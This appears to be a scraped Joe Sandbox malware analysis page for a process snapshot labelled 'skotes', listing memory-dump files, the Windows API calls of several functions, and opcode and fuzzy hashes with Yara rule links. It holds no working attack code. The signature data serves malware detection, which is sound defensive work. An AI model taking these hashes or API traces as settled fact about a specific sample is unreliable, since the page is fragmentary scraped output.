Associated: 00000006.00000002.3391709308.0000000000BE2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3392040119.0000000000BE9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3392143183.0000000000BEB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3392255845.0000000000BF7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3393813092.0000000000D4E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3393871645.0000000000D50000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3393943100.0000000000D62000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3393943100.0000000000D70000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3394423465.0000000000D73000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3394489705.0000000000D74000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3394550960.0000000000D75000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3394608742.0000000000D76000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3394925292.0000000000D77000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3395909524.0000000000D79000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3395978087.0000000000D88000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3397711898.0000000000D89000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3397793080.0000000000D9F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3397852533.0000000000DA1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3397923271.0000000000DA3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3397985271.0000000000DB2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398039211.0000000000DBF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398087705.0000000000DC0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398142318.0000000000DC9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398193052.0000000000DCD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398251077.0000000000DD5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398309435.0000000000DDE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398402608.0000000000DEE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398457685.0000000000DEF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398507275.0000000000DF6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398560517.0000000000DFB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398615587.0000000000E02000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398686397.0000000000E06000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398760073.0000000000E0E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398823301.0000000000E12000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398883662.0000000000E1F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398957010.0000000000E20000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399019622.0000000000E2D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399080155.0000000000E2E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399080155.0000000000E4D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399220623.0000000000E64000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399282452.0000000000E65000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399329890.0000000000E7B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399380274.0000000000E7C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399427278.0000000000E83000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399474378.0000000000E85000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399516797.0000000000E93000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399569697.0000000000E94000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b80000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: 639f00fd868da0c0017e9c96820f2720d75dd54d1dd9afd50fbc2461efe7e778
Instruction ID: 59609e57055123a0bd7708367171e1849cc9785d4b4b9f4849742b9fd6bde6e0
Opcode Fuzzy Hash: 639f00fd868da0c0017e9c96820f2720d75dd54d1dd9afd50fbc2461efe7e778
Instruction Fuzzy Hash: 45E0CD2169D340A9F6147F6868D9F3D63D5C7D5B04F211575E705CB0E0CE646540C623

Function 00B96C70 Relevance: 3.0, APIs: 1, Strings: 1, Instructions: 40sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNEL32 ref: 00B96CF5

Strings

HV, xrefs: 00B96CAD

Memory Dump Source

Source File: 00000006.00000002.3391709308.0000000000B81000.00000040.00000001.01000000.00000007.sdmp, Offset: 00B80000, based on PE: true

Associated: 00000006.00000002.3391127329.0000000000B80000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3391709308.0000000000BE2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3392040119.0000000000BE9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3392143183.0000000000BEB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3392255845.0000000000BF7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3393813092.0000000000D4E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3393871645.0000000000D50000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3393943100.0000000000D62000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3393943100.0000000000D70000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3394423465.0000000000D73000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3394489705.0000000000D74000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3394550960.0000000000D75000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3394608742.0000000000D76000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3394925292.0000000000D77000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3395909524.0000000000D79000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3395978087.0000000000D88000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3397711898.0000000000D89000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3397793080.0000000000D9F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3397852533.0000000000DA1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3397923271.0000000000DA3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3397985271.0000000000DB2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398039211.0000000000DBF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398087705.0000000000DC0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398142318.0000000000DC9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398193052.0000000000DCD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398251077.0000000000DD5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398309435.0000000000DDE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398402608.0000000000DEE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398457685.0000000000DEF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398507275.0000000000DF6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398560517.0000000000DFB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398615587.0000000000E02000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398686397.0000000000E06000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398760073.0000000000E0E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398823301.0000000000E12000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398883662.0000000000E1F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398957010.0000000000E20000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399019622.0000000000E2D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399080155.0000000000E2E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399080155.0000000000E4D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399220623.0000000000E64000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399282452.0000000000E65000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399329890.0000000000E7B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399380274.0000000000E7C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399427278.0000000000E83000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399474378.0000000000E85000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399516797.0000000000E93000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399569697.0000000000E94000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b80000_skotes.jbxd

Yara matches

Similarity

API ID: Sleep
String ID: HV
API String ID: 3472027048-1037838562
Opcode ID: b0b7ed15f2b648e712341516962b0fc8a4a03c5dcca4fe76b29691c8b807446a
Instruction ID: 9c96dbc8f416f93db132789e5eb02ff591b649828a8c12f2a8ffd935cc6ec426
Opcode Fuzzy Hash: b0b7ed15f2b648e712341516962b0fc8a4a03c5dcca4fe76b29691c8b807446a
Instruction Fuzzy Hash: B4F0A971A50654A7CB117B799D07B1EBBF8EB07760F8007A8E411672E1DF741A044BD2

Function 00B96D00 Relevance: 3.0, APIs: 2, Instructions: 14sleepthreadCOMMON

Download Yara Rule

APIs

CreateThread.KERNEL32(00000000,00000000,Function_00016C70,00000000,00000000,00000000), ref: 00B96D11
Sleep.KERNEL32(00007530), ref: 00B96D25

Memory Dump Source

Source File: 00000006.00000002.3391709308.0000000000B81000.00000040.00000001.01000000.00000007.sdmp, Offset: 00B80000, based on PE: true

Associated: 00000006.00000002.3391127329.0000000000B80000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3391709308.0000000000BE2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3392040119.0000000000BE9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3392143183.0000000000BEB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3392255845.0000000000BF7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3393813092.0000000000D4E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3393871645.0000000000D50000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3393943100.0000000000D62000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3393943100.0000000000D70000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3394423465.0000000000D73000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3394489705.0000000000D74000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3394550960.0000000000D75000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3394608742.0000000000D76000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3394925292.0000000000D77000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3395909524.0000000000D79000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3395978087.0000000000D88000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3397711898.0000000000D89000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3397793080.0000000000D9F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3397852533.0000000000DA1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3397923271.0000000000DA3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3397985271.0000000000DB2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398039211.0000000000DBF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398087705.0000000000DC0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398142318.0000000000DC9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398193052.0000000000DCD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398251077.0000000000DD5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398309435.0000000000DDE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398402608.0000000000DEE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398457685.0000000000DEF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398507275.0000000000DF6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398560517.0000000000DFB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398615587.0000000000E02000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398686397.0000000000E06000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398760073.0000000000E0E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398823301.0000000000E12000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398883662.0000000000E1F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398957010.0000000000E20000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399019622.0000000000E2D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399080155.0000000000E2E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399080155.0000000000E4D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399220623.0000000000E64000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399282452.0000000000E65000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399329890.0000000000E7B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399380274.0000000000E7C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399427278.0000000000E83000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399474378.0000000000E85000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399516797.0000000000E93000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399569697.0000000000E94000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b80000_skotes.jbxd

Yara matches

Similarity

API ID: CreateSleepThread
String ID:
API String ID: 4202482776-0
Opcode ID: 799ab94a10c78b6439a7829b1b1cc5bed758666059d17bb2bdd450ab4f9d3b7d
Instruction ID: 4d0528afde261e753611e1ada04c41dd334ac81091dc2e42899916e5e588aaa0
Opcode Fuzzy Hash: 799ab94a10c78b6439a7829b1b1cc5bed758666059d17bb2bdd450ab4f9d3b7d
Instruction Fuzzy Hash: C1D08C707D1318B7FA2013212C0BF26AB60DB0AF80F6518A077083F0E08AE0340047EC

Function 00B88380 Relevance: 1.7, APIs: 1, Instructions: 159COMMON

Download Yara Rule

APIs

GetNativeSystemInfo.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 00B88524

Memory Dump Source

Source File: 00000006.00000002.3391709308.0000000000B81000.00000040.00000001.01000000.00000007.sdmp, Offset: 00B80000, based on PE: true

Associated: 00000006.00000002.3391127329.0000000000B80000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3391709308.0000000000BE2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3392040119.0000000000BE9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3392143183.0000000000BEB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3392255845.0000000000BF7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3393813092.0000000000D4E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3393871645.0000000000D50000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3393943100.0000000000D62000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3393943100.0000000000D70000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3394423465.0000000000D73000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3394489705.0000000000D74000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3394550960.0000000000D75000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3394608742.0000000000D76000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3394925292.0000000000D77000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3395909524.0000000000D79000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3395978087.0000000000D88000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3397711898.0000000000D89000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3397793080.0000000000D9F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3397852533.0000000000DA1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3397923271.0000000000DA3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3397985271.0000000000DB2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398039211.0000000000DBF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398087705.0000000000DC0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398142318.0000000000DC9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398193052.0000000000DCD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398251077.0000000000DD5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398309435.0000000000DDE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398402608.0000000000DEE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398457685.0000000000DEF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398507275.0000000000DF6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398560517.0000000000DFB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398615587.0000000000E02000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398686397.0000000000E06000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398760073.0000000000E0E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398823301.0000000000E12000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398883662.0000000000E1F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398957010.0000000000E20000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399019622.0000000000E2D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399080155.0000000000E2E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399080155.0000000000E4D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399220623.0000000000E64000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399282452.0000000000E65000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399329890.0000000000E7B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399380274.0000000000E7C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399427278.0000000000E83000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399474378.0000000000E85000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399516797.0000000000E93000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399569697.0000000000E94000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b80000_skotes.jbxd

Yara matches

Similarity

API ID: InfoNativeSystem
String ID:
API String ID: 1721193555-0
Opcode ID: 504f0717c8503b95bd4ee09ea4623a1cb93a53e8b26965e370a2238558e8f882
Instruction ID: 25d1533564939ca20ec96321eb9f41e35bf6eff1c212eb62206b264685c306a0
Opcode Fuzzy Hash: 504f0717c8503b95bd4ee09ea4623a1cb93a53e8b26965e370a2238558e8f882
Instruction Fuzzy Hash: 8E51F471D102589BDB24FB68CD85BDDB7B4EB45314F9042E8E809A72A1EF349E84CB91

Function 00BB7124 Relevance: 1.6, APIs: 1, Instructions: 56timeCOMMON

Download Yara Rule

APIs

SystemTimeToTzSpecificLocalTime.KERNEL32(00000000,?,?,?,?,?,00BB705B,?,?,00000000,00000000), ref: 00BB7166

Memory Dump Source

Source File: 00000006.00000002.3391709308.0000000000B81000.00000040.00000001.01000000.00000007.sdmp, Offset: 00B80000, based on PE: true

Associated: 00000006.00000002.3391127329.0000000000B80000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3391709308.0000000000BE2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3392040119.0000000000BE9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3392143183.0000000000BEB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3392255845.0000000000BF7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3393813092.0000000000D4E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3393871645.0000000000D50000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3393943100.0000000000D62000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3393943100.0000000000D70000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3394423465.0000000000D73000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3394489705.0000000000D74000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3394550960.0000000000D75000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3394608742.0000000000D76000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3394925292.0000000000D77000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3395909524.0000000000D79000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3395978087.0000000000D88000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3397711898.0000000000D89000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3397793080.0000000000D9F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3397852533.0000000000DA1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3397923271.0000000000DA3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3397985271.0000000000DB2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398039211.0000000000DBF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398087705.0000000000DC0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398142318.0000000000DC9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398193052.0000000000DCD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398251077.0000000000DD5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398309435.0000000000DDE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398402608.0000000000DEE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398457685.0000000000DEF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398507275.0000000000DF6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398560517.0000000000DFB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398615587.0000000000E02000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398686397.0000000000E06000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398760073.0000000000E0E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398823301.0000000000E12000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398883662.0000000000E1F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398957010.0000000000E20000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399019622.0000000000E2D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399080155.0000000000E2E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399080155.0000000000E4D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399220623.0000000000E64000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399282452.0000000000E65000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399329890.0000000000E7B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399380274.0000000000E7C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399427278.0000000000E83000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399474378.0000000000E85000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399516797.0000000000E93000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399569697.0000000000E94000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b80000_skotes.jbxd

Yara matches

Similarity

API ID: Time$LocalSpecificSystem
String ID:
API String ID: 2574697306-0
Opcode ID: defa404f24d9605ffa53791b134aeff351ae50ca22411c5693b8044c8b4ade58
Instruction ID: 1e4280bdca6118abbfc4aa278c05c5d5dd0943e6b99ede23996c2452f7335067
Opcode Fuzzy Hash: defa404f24d9605ffa53791b134aeff351ae50ca22411c5693b8044c8b4ade58
Instruction Fuzzy Hash: BF11EC7294410DABDB10DF99C985EEF77FCAF48310F6052A6E511F6180EA70EA49CB71

Function 00BBAC53 Relevance: 1.6, APIs: 1, Instructions: 54COMMON

Download Yara Rule

APIs

__wsopen_s.LIBCMT ref: 00BBAC8D

Memory Dump Source

Source File: 00000006.00000002.3391709308.0000000000B81000.00000040.00000001.01000000.00000007.sdmp, Offset: 00B80000, based on PE: true

Associated: 00000006.00000002.3391127329.0000000000B80000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3391709308.0000000000BE2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3392040119.0000000000BE9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3392143183.0000000000BEB000.00000040.00000001.01000000.00000007.sdmpDownload File
